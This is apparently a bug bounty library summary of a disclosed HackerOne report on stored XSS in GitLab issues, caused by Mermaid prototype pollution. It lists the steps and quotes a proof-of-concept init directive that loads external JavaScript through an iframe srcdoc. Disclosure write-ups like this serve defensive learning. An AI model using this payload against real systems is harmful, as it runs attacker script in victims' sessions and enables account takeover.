# Stored XSS via Mermaid Prototype Pollution vulnerability

Mermaid directive `__proto__` key pollutes Object.prototype.template, injecting an iframe srcdoc that executes attacker JS on user interaction in GitLab issues.

- Payout: $3,000
- Severity: high
- Program: GitLab
- Found by: misha98857
- Disclosed: 2021-11-18
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1280002
- Library page: https://bugbountylibrary.com/r/h1%3A1280002
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:xss

**Target:** GitLab issue Mermaid diagram renderer
**Root cause:** Mermaid's init directive merges attacker-controlled keys into config without blocking `__proto__`, allowing prototype pollution of `template` which is later used to build an iframe srcdoc.
**Steps:**
1. Create an issue in any repository
2. Insert a mermaid block with `%%{init: { '__proto__': {'template': '<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="&lt;script src=...payload.js&gt;&lt;/script&gt;">'}} }%%` followed by a sequenceDiagram
3. Load the issue page
4. Click the top-bar search menu to trigger rendering of the polluted template and execute payload.js
**How found:** Continued prior research (#1106238) on Mermaid prototype pollution, hypothesizing `__proto__` in init directives could reach config merge and control template rendering.
**Exploitation:** Attacker with issue-creation rights embeds the mermaid directive; prototype pollution sets template to an iframe srcdoc loading external JS from a GitLab job artifact, executing in victim's session on minimal interaction (clicking search).
**Insight:** Mermaid `%%{init:...}%%` directives are a prototype-pollution surface; test `__proto__` keys against downstream config consumers like `template` that get rendered as HTML/iframe srcdoc.

## Proof of concept (copied exactly from the original report)

**Mermaid __proto__ prototype pollution payload**

```
%%{init: { '__proto__': {'template': '<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"&lt;script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js&gt; &lt;/script&gt;\">'}} }%%
%%{init: { '__proto__': {'template': '<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"&lt;script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js&gt; &lt;/script&gt;\">'}} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
```

